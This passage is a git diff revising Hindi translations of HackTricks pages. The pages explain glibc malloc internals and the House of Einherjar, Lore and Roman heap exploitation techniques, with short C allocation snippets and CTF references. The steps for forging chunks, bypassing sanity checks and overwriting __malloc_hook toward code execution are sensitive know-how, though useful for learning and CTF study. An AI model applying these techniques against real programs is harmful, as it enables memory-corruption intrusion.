+यदि आवश्यक आकार Fast Bins आकारों के भीतर है, तो तेज बिन से एक चंक का उपयोग करने का प्रयास करें। मूल रूप से, आकार के आधार पर, यह तेज बिन अनुक्रमांक खोजेगा जहाँ मान्य चंक्स स्थित होने चाहिए, और यदि कोई हो, तो यह उनमें से एक लौटाएगा।\
इसके अलावा, यदि tcache सक्षम है, तो यह **उस आकार के लिए तेज बिन के साथ tcache बिन को भर देगा**।
-इन क्रियाओं को करते समय, यहाँ कुछ सुरक्षा जांचें की जाती हैं:
+इन क्रियाओं को करते समय, कुछ सुरक्षा जांच यहाँ निष्पादित की जाती हैं:
- यदि चंक गलत संरेखित है: `malloc(): unaligned fastbin chunk detected 2`
- यदि आगे का चंक गलत संरेखित है: `malloc(): unaligned fastbin chunk detected`
@@ -283,15 +283,15 @@ return p;
### Small Bin
-जैसा कि एक टिप्पणी में संकेत दिया गया है, छोटे बिन प्रत्येक इंडेक्स पर एक आकार रखते हैं, इसलिए यह जांचना कि क्या एक मान्य चंक उपलब्ध है, बहुत तेज है, इसलिए तेज बिन के बाद, छोटे बिन की जांच की जाती है।
+जैसा कि एक टिप्पणी में संकेत दिया गया है, छोटे बिन प्रत्येक इंडेक्स पर एक आकार रखते हैं, इसलिए यह जांचना कि क्या एक मान्य चंक उपलब्ध है, बहुत तेज़ है, इसलिए तेज़ बिन के बाद, छोटे बिन की जांच की जाती है।
-पहली जांच यह पता लगाना है कि क्या अनुरोधित आकार एक छोटे बिन के अंदर हो सकता है। उस मामले में, छोटे बिन के अंदर संबंधित **इंडेक्स** प्राप्त करें और देखें कि क्या वहाँ **कोई उपलब्ध चंक** है।
+पहली जांच यह पता लगाना है कि क्या अनुरोधित आकार एक छोटे बिन के अंदर हो सकता है। इस मामले में, छोटे बिन के अंदर संबंधित **इंडेक्स** प्राप्त करें और देखें कि क्या **कोई उपलब्ध चंक** है।
फिर, एक सुरक्षा जांच की जाती है:
-- if `victim->bk->fd = victim`। यह देखने के लिए कि दोनों चंक सही तरीके से लिंक किए गए हैं।
+- यदि `victim->bk->fd = victim`। यह देखने के लिए कि दोनों चंक सही तरीके से लिंक किए गए हैं।
-उस मामले में, चंक **`inuse` बिट प्राप्त करता है,** डबल लिंक्ड लिस्ट को ठीक किया जाता है ताकि यह चंक इससे गायब हो जाए (क्योंकि इसका उपयोग किया जाने वाला है), और यदि आवश्यक हो तो नॉन मेन एरीना बिट सेट किया जाता है।
+इस मामले में, चंक **`inuse` बिट प्राप्त करता है,** डबल लिंक्ड लिस्ट को ठीक किया जाता है ताकि यह चंक इससे गायब हो जाए (क्योंकि इसका उपयोग किया जाने वाला है), और यदि आवश्यक हो तो नॉन मेन एरीना बिट सेट किया जाता है।
अंत में, **अनुरोधित आकार के लिए tcache इंडेक्स को** छोटे बिन के अंदर अन्य चंक्स (यदि कोई हो) के साथ भरें।
@@ -362,7 +362,7 @@ return p;
### malloc_consolidate
-यदि यह एक छोटा टुकड़ा नहीं था, तो यह एक बड़ा टुकड़ा है, और इस मामले में **`malloc_consolidate`** को मेमोरी फ्रैग्मेंटेशन से बचने के लिए बुलाया जाता है।
+यदि यह एक छोटा टुकड़ा नहीं था, तो यह एक बड़ा टुकड़ा है, और इस मामले में **`malloc_consolidate`** को मेमोरी फ्रैग्मेंटेशन से बचने के लिए कॉल किया जाता है।
@@ -389,13 +389,13 @@ malloc_consolidate (av);
```
-malloc consolidate फ़ंक्शन मूल रूप से तेज़ बिन से चंक को हटा देता है और उन्हें असंरचित बिन में रखता है। अगली malloc के बाद, ये चंक अपने संबंधित छोटे/तेज़ बिन में व्यवस्थित हो जाएंगे।
+malloc consolidate फ़ंक्शन मूल रूप से तेज़ बिन से चंक्स को हटा देता है और उन्हें असंरचित बिन में रखता है। अगली malloc के बाद, ये चंक्स अपने संबंधित छोटे/तेज़ बिन में व्यवस्थित होंगे।
-ध्यान दें कि यदि इन चंक को हटाते समय, यदि उन्हें पिछले या अगले चंक के साथ पाया जाता है जो उपयोग में नहीं हैं, तो उन्हें **अनलिंक और मर्ज** किया जाएगा इससे पहले कि अंतिम चंक को **असंरचित** बिन में रखा जाए।
+ध्यान दें कि यदि इन चंक्स को हटाते समय, यदि उन्हें पिछले या अगले चंक्स के साथ पाया जाता है जो उपयोग में नहीं हैं, तो उन्हें **अनलिंक और मर्ज** किया जाएगा इससे पहले कि अंतिम चंक को **असंरचित** बिन में रखा जाए।
प्रत्येक तेज़ बिन चंक के लिए कुछ सुरक्षा जांच की जाती हैं:
-- यदि चंक असंरेखित है तो ट्रिगर: `malloc_consolidate(): unaligned fastbin chunk detected`
+- यदि चंक अनलाइंड है तो ट्रिगर: `malloc_consolidate(): unaligned fastbin chunk detected`
- यदि चंक का आकार उस आकार से भिन्न है जो इसे होना चाहिए क्योंकि यह जिस इंडेक्स में है: `malloc_consolidate(): invalid chunk size`
- यदि पिछले चंक का उपयोग नहीं हो रहा है और पिछले चंक का आकार `prev_chunk` द्वारा निर्दिष्ट आकार से भिन्न है: `corrupted size vs. prev_size in fastbins`
@@ -504,26 +504,26 @@ av->top = p;
```
-### अनसॉर्टेड बिन
+### Unsorted bin
-यह संभावित मान्य चंक का उपयोग करने के लिए अनसॉर्टेड बिन की जांच करने का समय है।
+यह संभावित मान्य चंक का उपयोग करने के लिए असॉर्टेड बिन की जांच करने का समय है।
-#### प्रारंभ
+#### Start
-यह एक बड़े लूप के साथ शुरू होता है जो `bk` दिशा में अनसॉर्टेड बिन को पार करेगा जब तक कि यह अंत (एरेना संरचना) तक नहीं पहुँचता है `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
+यह एक बड़े फॉर लूप के साथ शुरू होता है जो `bk` दिशा में असॉर्टेड बिन को पार करेगा जब तक कि यह अंत (एरेना स्ट्रक्चर) तक नहीं पहुँचता है `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
इसके अलावा, कुछ सुरक्षा जांचें हर बार की जाती हैं जब एक नया चंक विचाराधीन होता है:
- यदि चंक का आकार अजीब है (बहुत छोटा या बहुत बड़ा): `malloc(): invalid size (unsorted)`
- यदि अगले चंक का आकार अजीब है (बहुत छोटा या बहुत बड़ा): `malloc(): invalid next size (unsorted)`
-- यदि अगले चंक द्वारा इंगित किया गया पिछला आकार चंक के आकार से भिन्न है: `malloc(): mismatching next->prev_size (unsorted)`
-- यदि `victim->bck->fd == victim` नहीं है या `victim->fd == av` (एरेना) नहीं है: `malloc(): unsorted double linked list corrupted`
-- चूंकि हम हमेशा अंतिम एक की जांच कर रहे हैं, इसका `fd` हमेशा एरेना संरचना की ओर इशारा करना चाहिए।
-- यदि अगला चंक यह नहीं इंगित कर रहा है कि पिछला उपयोग में है: `malloc(): invalid next->prev_inuse (unsorted)`
+- यदि अगले चंक द्वारा इंगित किया गया पिछले आकार चंक के आकार से भिन्न है: `malloc(): mismatching next->prev_size (unsorted)`
+- यदि `victim->bck->fd == victim` या `victim->fd == av` (एरेना) नहीं है: `malloc(): unsorted double linked list corrupted`
+- चूंकि हम हमेशा अंतिम एक की जांच कर रहे हैं, इसका `fd` हमेशा एरेना स्ट्रक्चर की ओर इशारा करना चाहिए।
+- यदि अगले चंक का संकेत नहीं है कि पिछले का उपयोग हो रहा है: `malloc(): invalid next->prev_inuse (unsorted)`
-_int_malloc अनसॉर्टेड बिन प्रारंभ
+_int_malloc unsorted bin start
```c
/*
Process recently freed or remaindered chunks, taking one only if
@@ -576,11 +576,11 @@ malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
#### यदि `in_smallbin_range`
-यदि टुकड़ा अनुरोधित आकार से बड़ा है, तो इसका उपयोग करें, और टुकड़े के शेष स्थान को असुचिबद्ध सूची में डालें और `last_remainder` को इसके साथ अपडेट करें।
+यदि टुकड़ा अनुरोधित आकार से बड़ा है, तो इसका उपयोग करें, और टुकड़े के शेष स्थान को असंरचित सूची में डालें और `last_remainder` को इसके साथ अपडेट करें।
-_int_malloc असुचिबद्ध बिन in_smallbin_range
+_int_malloc असंरचित बिन in_smallbin_range
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14
@@ -623,13 +623,13 @@ return p;
```
-यदि यह सफल रहा, तो चंक को वापस करें और समाप्त करें, यदि नहीं, तो कार्य को जारी रखें...
+यदि यह सफल रहा, तो चंक को वापस करें और यह समाप्त हो गया, यदि नहीं, तो कार्य को जारी रखें...
-#### यदि समान आकार
+#### यदि आकार समान है
यदि अनुरोधित आकार ठीक उसी चंक का है, तो बिन से चंक को हटाना जारी रखें:
-- यदि tcache भरा नहीं है, तो इसे tcache में जोड़ें और यह संकेत देना जारी रखें कि एक tcache चंक है जिसे उपयोग किया जा सकता है
+- यदि tcache भरा नहीं है, तो इसे tcache में जोड़ें और यह इंगित करते हुए जारी रखें कि एक tcache चंक है जिसका उपयोग किया जा सकता है
- यदि tcache भरा हुआ है, तो बस इसका उपयोग करें और इसे वापस करें
@@ -804,11 +804,11 @@ return tcache_get (tc_idx);
### बड़े बिन (सूची द्वारा)
-यदि अनुरोध बड़ा है (छोटे बिन में नहीं) और हमने अभी तक कोई टुकड़ा वापस नहीं किया है, तो **बड़े बिन** में अनुरोधित आकार का **सूचकांक** प्राप्त करें, जांचें कि क्या **खाली नहीं है** या यदि **इस बिन में सबसे बड़ा टुकड़ा अनुरोधित आकार से बड़ा है** और उस मामले में अनुरोधित आकार के लिए **सबसे छोटे टुकड़े का पता लगाएं**।
+यदि अनुरोध बड़ा है (छोटे बिन में नहीं) और हमने अभी तक कोई टुकड़ा वापस नहीं किया है, तो **बड़े बिन** में अनुरोधित आकार का **सूचकांक** प्राप्त करें, जांचें कि क्या यह **खाली नहीं है** या यदि **इस बिन में सबसे बड़ा टुकड़ा अनुरोधित आकार से बड़ा है** और उस मामले में अनुरोधित आकार के लिए **सबसे छोटे टुकड़े का पता लगाएं** जो उपयोग किया जा सकता है।
-यदि अंततः उपयोग किए गए टुकड़े से शेष स्थान एक नया टुकड़ा हो सकता है, तो इसे असूचीबद्ध बिन में जोड़ें और last_reminder को अपडेट किया जाता है।
+यदि अंततः उपयोग किए गए टुकड़े से शेष स्थान एक नया टुकड़ा हो सकता है, तो इसे असंरचित बिन में जोड़ें और last_reminder को अपडेट किया जाता है।
-असूचीबद्ध बिन में शेष जोड़ते समय एक सुरक्षा जांच की जाती है:
+असंरचित बिन में शेष जोड़ते समय एक सुरक्षा जांच की जाती है:
- `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
@@ -887,7 +887,7 @@ return p;
```
-यदि कोई टुकड़ा इसके लिए उपयुक्त नहीं पाया गया, तो जारी रखें
+यदि कोई टुकड़ा इसके लिए उपयुक्त नहीं पाया जाता है, तो जारी रखें
### बड़े बिन (अगला बड़ा)
@@ -1021,9 +1021,9 @@ return p;
- `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size`
-फिर, यदि यह पर्याप्त बड़ा है तो यह टॉप चंक स्थान का उपयोग करेगा ताकि अनुरोधित आकार का एक चंक बनाया जा सके।\
+फिर, यदि यह पर्याप्त बड़ा है तो यह अनुरोधित आकार का चंक बनाने के लिए टॉप चंक स्थान का उपयोग करेगा।\
यदि नहीं, तो यदि तेज चंक हैं, उन्हें समेकित करें और फिर से प्रयास करें।\
-अंत में, यदि पर्याप्त स्थान नहीं है तो `sysmalloc` का उपयोग करें ताकि पर्याप्त आकार आवंटित किया जा सके।
+अंत में, यदि पर्याप्त स्थान नहीं है तो `sysmalloc` का उपयोग करके पर्याप्त आकार आवंटित करें।
@@ -1098,7 +1098,7 @@ return p;
### sysmalloc प्रारंभ
-यदि एरेना शून्य है या अनुरोधित आकार बहुत बड़ा है (और अनुमति प्राप्त mmaps बचे हैं) तो स्थान आवंटित करने और इसे लौटाने के लिए `sysmalloc_mmap` का उपयोग करें।
+यदि एरेना शून्य है या अनुरोधित आकार बहुत बड़ा है (और अनुमति प्राप्त mmaps शेष हैं) तो स्थान आवंटित करने और इसे लौटाने के लिए `sysmalloc_mmap` का उपयोग करें।
@@ -1177,7 +1177,7 @@ return 0;
- पुरानी हीप का आकार 0 है (नई हीप)
- पिछले हीप का आकार MINSIZE से बड़ा है और पुराना टॉप उपयोग में है
-- हीप पृष्ठ आकार के अनुसार संरेखित है (0x1000 इसलिए निचले 12 बिट्स को 0 होना चाहिए)
+- हीप पृष्ठ आकार के अनुसार संरेखित है (0x1000 इसलिए निचले 12 बिट्स 0 होने चाहिए)
फिर यह भी जांचता है कि:
@@ -1210,14 +1210,14 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
```
-### sysmalloc मुख्य एरेना नहीं
+### sysmalloc नॉन-मेन एरेना
-यह पहले इस हीप के लिए पिछले हीप को **विस्तारित** करने की कोशिश करेगा। यदि यह संभव नहीं है, तो **एक नया हीप आवंटित** करने की कोशिश करें और इसे उपयोग करने के लिए पॉइंटर्स को अपडेट करें।\
-अंत में, यदि यह काम नहीं करता है, तो **`sysmalloc_mmap`** को कॉल करने की कोशिश करें।
+यह पहले इस हीप के लिए पिछले हीप को **विस्तारित** करने की कोशिश करेगा। यदि यह संभव नहीं है, तो **नया हीप आवंटित** करने की कोशिश करें और इसे उपयोग करने के लिए पॉइंटर्स को अपडेट करें।\
+अंत में, यदि यह काम नहीं करता है, तो **`sysmalloc_mmap`** को कॉल करने की कोशिश करें।
-sysmalloc मुख्य एरेना नहीं
+sysmalloc नॉन-मेन एरेना
```c
if (av != &main_arena)
{
@@ -1380,13 +1380,13 @@ snd_brk = brk + size;
```
-### sysmalloc मुख्य क्षेत्र जारी रखें
+### sysmalloc मुख्य एरे जारी रखें
यदि पिछले ने `MORECORE_FAILURE` नहीं लौटाया, यदि यह काम करता है तो कुछ संरेखण बनाएं:
-sysmalloc मुख्य क्षेत्र पिछले त्रुटि 2
+sysmalloc मुख्य एरे पिछले त्रुटि 2
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742
@@ -1573,7 +1573,7 @@ _int_free (av, old_top, 1);
### sysmalloc finale
-आवंटन को समाप्त करें और एरेना जानकारी को अपडेट करें
+आवंटन को समाप्त करें और एरेना की जानकारी को अपडेट करें
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index c4cb3cd07..7236b6d8a 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -16,8 +16,8 @@
### Requirements
- जब हम एक चंक आवंटित करना चाहते हैं तो एक नकली चंक बनाएं:
-- सैनीटी चेक को बायपास करने के लिए पॉइंटर्स को अपने आप पर सेट करें
-- `PREV_INUSE` फ्लैग को संशोधित करने के लिए एक चंक से अगले चंक में एक बाइट ओवरफ्लो के साथ एक नल बाइट।
+- सैनीटी चेक को बायपास करने के लिए पॉइंटर्स को स्वयं की ओर सेट करें
+- एक चंक से अगले चंक तक `PREV_INUSE` फ्लैग को संशोधित करने के लिए एक बाइट ओवरफ्लो जिसमें एक नल बाइट हो।
- नल द्वारा अपमानित चंक के `prev_size` में अपने और नकली चंक के बीच का अंतर इंगित करें
- नकली चंक का आकार भी सैनीटी चेक को बायपास करने के लिए समान आकार में सेट किया जाना चाहिए
- इन चंक्स का निर्माण करने के लिए, आपको एक हीप लीक की आवश्यकता होगी।
@@ -26,24 +26,24 @@
- `A` नकली चंक एक चंक के अंदर बनाया गया है जिसे हमलावर द्वारा नियंत्रित किया जाता है जो मूल चंक को बायपास करने के लिए `fd` और `bk` के साथ इंगित करता है
- 2 अन्य चंक्स (`B` और `C`) आवंटित किए जाते हैं
-- `B` में एक द्वारा एक का दुरुपयोग करते हुए `prev in use` बिट को साफ किया जाता है और `prev_size` डेटा को `C` चंक के आवंटन के स्थान से पहले उत्पन्न नकली `A` चंक के बीच के अंतर के साथ ओवरराइट किया जाता है
+- `B` में एक द्वारा एक का दुरुपयोग करते हुए `prev in use` बिट को साफ किया जाता है और `prev_size` डेटा को `C` चंक के आवंटित होने के स्थान से पहले उत्पन्न नकली `A` चंक के बीच के अंतर के साथ ओवरराइट किया जाता है
- यह `prev_size` और नकली चंक `A` में आकार समान होना चाहिए ताकि चेक को बायपास किया जा सके।
- फिर, tcache भरा जाता है
- फिर, `C` को मुक्त किया जाता है ताकि यह नकली चंक `A` के साथ समेकित हो जाए
- फिर, एक नया चंक `D` बनाया जाता है जो नकली `A` चंक में शुरू होगा और `B` चंक को कवर करेगा
-- Einherjar का घर यहाँ समाप्त होता है
+- हाउस ऑफ एनहेरजार यहाँ समाप्त होता है
- इसे एक तेज़ बिन हमले या Tcache विषाक्तता के साथ जारी रखा जा सकता है:
- तेज़ बिन / Tcache में जोड़ने के लिए `B` को मुक्त करें
-- `B` का `fd` ओवरराइट किया जाता है जिससे यह लक्षित पते की ओर इंगित करता है जो `D` चंक का दुरुपयोग करता है (क्योंकि इसमें `B` शामिल है)
+- `B` का `fd` ओवरराइट किया जाता है जिससे यह लक्षित पते की ओर इंगित करता है जो `D` चंक का दुरुपयोग करता है (क्योंकि इसमें `B` शामिल है)
- फिर, 2 mallocs किए जाते हैं और दूसरा **लक्षित पते को आवंटित करने जा रहा है**
## References and other examples
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
-- पॉइंटर्स को मुक्त करने के बाद उन्हें नल नहीं किया जाता है, इसलिए उनके डेटा तक पहुंचना अभी भी संभव है। इसलिए एक चंक अनसॉर्टेड बिन में रखा जाता है और इसमें शामिल पॉइंटर्स को लीक किया जाता है (libc leak) और फिर एक नया हीप अनसॉर्टेड बिन पर रखा जाता है और इसे प्राप्त किए गए पॉइंटर से एक हीप पता लीक किया जाता है।
+- पॉइंटर्स को मुक्त करने के बाद वे नल नहीं होते, इसलिए उनके डेटा तक पहुंचना अभी भी संभव है। इसलिए एक चंक को अनसॉर्टेड बिन में रखा जाता है और इसमें शामिल पॉइंटर्स को लीक किया जाता है (libc leak) और फिर एक नया हीप अनसॉर्टेड बिन पर रखा जाता है और इसे प्राप्त पॉइंटर से एक हीप पता लीक किया जाता है।
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- `strtok` में नल-बाइट ओवरफ्लो बग।
-- Tcache विषाक्तता के साथ एक ओवरलैपिंग चंक्स स्थिति प्राप्त करने और मनमाने लिखने की प्राइमिटिव प्राप्त करने के लिए House of Einherjar का उपयोग करें।
+- Tcache विषाक्तता के साथ एक ओवरलैपिंग चंक्स स्थिति प्राप्त करने और एक मनमाना लिखने की प्राइमिटिव प्राप्त करने के लिए हाउस ऑफ एनहेरजार का उपयोग करें।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index 6bdb39419..86b4db9ee 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -9,13 +9,13 @@
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) से एक चेक करें
- यह काम नहीं कर रहा है
- या: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
-- यह काम नहीं कर रहा है भले ही यह कुछ चेक को बायपास करने की कोशिश करता है और त्रुटि मिलती है: `malloc(): unaligned tcache chunk detected`
-- यह उदाहरण अभी भी काम कर रहा है: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- यह काम नहीं कर रहा है, भले ही यह कुछ चेक को बायपास करने की कोशिश करता है, त्रुटि मिलती है: `malloc(): unaligned tcache chunk detected`
+- यह उदाहरण अभी भी काम कर रहा है: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
### Goal
- एक **फर्जी छोटे चंक को छोटे बिन में डालें ताकि इसे आवंटित करना संभव हो सके**।\
-ध्यान दें कि जो छोटा चंक जोड़ा गया है वह हमलावर द्वारा बनाया गया फर्जी है और किसी मनमाने स्थान में नहीं है।
+ध्यान दें कि जो छोटा चंक जोड़ा गया है वह फर्जी है जिसे हमलावर बनाता है और यह किसी मनमाने स्थान में नहीं है।
### Requirements
@@ -30,13 +30,13 @@
### Attack
- एक छोटा चंक (`legit`) आवंटित किया जाता है, फिर एक और आवंटित किया जाता है ताकि शीर्ष चंक के साथ समेकन को रोका जा सके। फिर, `legit` को मुक्त किया जाता है (इसे असंरचित बिन सूची में ले जाना) और एक बड़ा चंक आवंटित किया जाता है, **`legit` को छोटे बिन में ले जाना।**
-- एक हमलावर कुछ फर्जी छोटे चंक्स उत्पन्न करता है, और आवश्यक लिंकिंग करता है ताकि सैनीटी चेक को बायपास किया जा सके:
+- एक हमलावर कुछ फर्जी छोटे चंक्स उत्पन्न करता है, और आवश्यक लिंक बनाता है ताकि सैनीटी चेक को बायपास किया जा सके:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (आपको किसी अन्य कमजोरियों के माध्यम से मुक्त छोटे बिन चंक में एक पॉइंटर को संशोधित करने की आवश्यकता है)
- `legit.bk` -> `fake0`
- एक छोटा चंक आवंटित किया जाता है ताकि वैध प्राप्त किया जा सके, **`fake0`** को छोटे बिन की शीर्ष सूची में बना दिया जाए
-- एक और छोटा चंक आवंटित किया जाता है, `fake0` को एक चंक के रूप में प्राप्त करते हुए, जिससे इसके अंदर पॉइंटर्स को पढ़ने/लिखने की संभावना हो।
+- एक और छोटा चंक आवंटित किया जाता है, `fake0` को एक चंक के रूप में प्राप्त करते हुए, जिससे इसके अंदर पॉइंटर्स को पढ़ने/लिखने की अनुमति मिलती है।
## References
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index 7185e99c3..ea90d62ae 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -8,11 +8,11 @@
### Code
-- आप एक उदाहरण [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में पा सकते हैं।
+- आप एक उदाहरण [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) पर पा सकते हैं।
### Goal
-- सापेक्ष पॉइंटर्स का दुरुपयोग करके RCE
+- सापेक्ष पॉइंटर्स का दुरुपयोग करके RCE प्राप्त करना
### Requirements
@@ -25,14 +25,14 @@
कई चंक्स बनाएं:
-- `fastbin_victim` (0x60, offset 0): UAF चंक जिसे बाद में हीप पॉइंटर को LibC मान की ओर इंगित करने के लिए संपादित किया जाएगा।
-- `chunk2` (0x80, offset 0x70): अच्छे संरेखण के लिए
-- `main_arena_use` (0x80, offset 0x100)
-- `relative_offset_heap` (0x60, offset 0x190): 'main_arena_use' चंक पर सापेक्ष ऑफसेट
+- `fastbin_victim` (0x60, ऑफसेट 0): UAF चंक जिसे बाद में हीप पॉइंटर को LibC मान की ओर इंगित करने के लिए संपादित किया जाएगा।
+- `chunk2` (0x80, ऑफसेट 0x70): अच्छे संरेखण के लिए
+- `main_arena_use` (0x80, ऑफसेट 0x100)
+- `relative_offset_heap` (0x60, ऑफसेट 0x190): 'main_arena_use' चंक पर सापेक्ष ऑफसेट
फिर `free(main_arena_use)` करें जो इस चंक को अनसॉर्टेड सूची में रखेगा और `fd` और `bk` पॉइंटर्स में `main_arena + 0x68` का एक पॉइंटर प्राप्त करेगा।
-अब एक नया चंक `fake_libc_chunk(0x60)` आवंटित किया गया है क्योंकि इसमें `fd` और `bk` में `main_arena + 0x68` के लिए पॉइंटर्स होंगे।
+अब एक नया चंक `fake_libc_chunk(0x60)` आवंटित किया गया है क्योंकि इसमें `fd` और `bk` में `main_arena + 0x68` के पॉइंटर्स होंगे।
फिर `relative_offset_heap` और `fastbin_victim` को मुक्त किया जाता है।
```c
@@ -49,15 +49,15 @@ fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
-- `fastbin_victim` का `fd` `relative_offset_heap` की ओर इशारा करता है
-- `relative_offset_heap` `fake_libc_chunk` से दूरी का एक ऑफसेट है, जिसमें `main_arena + 0x68` की ओर एक पॉइंटर होता है
+- `fastbin_victim` का `fd` `relative_offset_heap` की ओर इशारा कर रहा है
+- `relative_offset_heap` एक ऑफसेट है जो `fake_libc_chunk` से दूरी को दर्शाता है, जिसमें `main_arena + 0x68` की ओर एक पॉइंटर होता है
- केवल `fastbin_victim.fd` के अंतिम बाइट को बदलकर, `fastbin_victim` को `main_arena + 0x68` की ओर इशारा करना संभव है
पिछले कार्यों के लिए, हमलावर को `fastbin_victim` के fd पॉइंटर को संशोधित करने में सक्षम होना चाहिए।
-फिर, `main_arena + 0x68` इतना दिलचस्प नहीं है, इसलिए इसे संशोधित करते हैं ताकि पॉइंटर **`__malloc_hook`** की ओर इशारा करे।
+फिर, `main_arena + 0x68` इतना दिलचस्प नहीं है, इसलिए इसे संशोधित करें ताकि पॉइंटर **`__malloc_hook`** की ओर इशारा करे।
-ध्यान दें कि `__memalign_hook` आमतौर पर `0x7f` से शुरू होता है और इसके पहले शून्य होते हैं, इसलिए इसे `0x70` फास्ट बिन में एक मान के रूप में फेक करना संभव है। चूंकि पते के अंतिम 4 बिट **यादृच्छिक** होते हैं, इसलिए मान के अंत में इशारा करने के लिए `2^4=16` संभावनाएँ होती हैं। इसलिए यहां एक BF हमला किया जाता है ताकि चंक इस तरह समाप्त हो: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`।**
+ध्यान दें कि `__memalign_hook` आमतौर पर `0x7f` से शुरू होता है और इसके पहले शून्य होते हैं, फिर इसे `0x70` फास्ट बिन में एक मान के रूप में फेक करना संभव है। क्योंकि पते के अंतिम 4 बिट **यादृच्छिक** होते हैं, इसलिए मान के अंत में इशारा करने के लिए `2^4=16` संभावनाएँ होती हैं। इसलिए यहां एक BF हमला किया जाता है ताकि चंक इस तरह समाप्त हो: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`।**
(बाकी बाइट्स के बारे में अधिक जानकारी के लिए [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ उदाहरण](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में व्याख्या देखें)। यदि BF काम नहीं करता है, तो प्रोग्राम बस क्रैश हो जाता है (इसलिए तब तक फिर से शुरू करें जब तक यह काम न करे)।
@@ -67,7 +67,7 @@ malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
-### भाग 2: Unsorted_bin हमला
+### Part 2: Unsorted_bin हमला
अधिक जानकारी के लिए आप देख सकते हैं:
@@ -77,7 +77,7 @@ unsorted-bin-attack.md
लेकिन मूल रूप से यह `chunk->bk` में निर्दिष्ट किसी भी स्थान पर `main_arena + 0x68` लिखने की अनुमति देता है। और हमले के लिए हम `__malloc_hook` चुनते हैं। फिर, इसे ओवरराइट करने के बाद हम एक सापेक्ष ओवरराइट का उपयोग करेंगे) एक `one_gadget` की ओर इशारा करने के लिए।
-इसके लिए हम एक chunk प्राप्त करना शुरू करते हैं और इसे **unsorted bin** में डालते हैं:
+इसके लिए हम एक चंक प्राप्त करना शुरू करते हैं और इसे **unsorted bin** में डालते हैं:
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@@ -86,20 +86,20 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
-इस भाग में एक UAF का उपयोग करें ताकि `unsorted_bin_ptr->bk` को `__malloc_hook` के पते पर इंगित किया जा सके (हमने इसे पहले ब्रूट फोर्स किया था)।
+इस भाग में UAF का उपयोग करें ताकि `unsorted_bin_ptr->bk` को `__malloc_hook` के पते पर इंगित किया जा सके (हमने इसे पहले ब्रूट फोर्स किया था)।
> [!CAUTION]
> ध्यान दें कि यह हमला असंरचित बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब तेज बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल प्रोग्राम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे ट्रिगर करने के लिए हमें **उसी आकार का आवंटन करना होगा या प्रोग्राम क्रैश हो जाएगा।**
-तो, `__malloc_hook` में `main_arena + 0x68` के लिखने को ट्रिगर करने के लिए, हम `__malloc_hook` को `unsorted_bin_ptr->bk` में सेट करने के बाद बस यह करने की आवश्यकता है: **`malloc(0x80)`**
+तो, `__malloc_hook` में `main_arena + 0x68` के लिखने को ट्रिगर करने के लिए, हमें `__malloc_hook` को `unsorted_bin_ptr->bk` में सेट करने के बाद बस यह करना है: **`malloc(0x80)`**
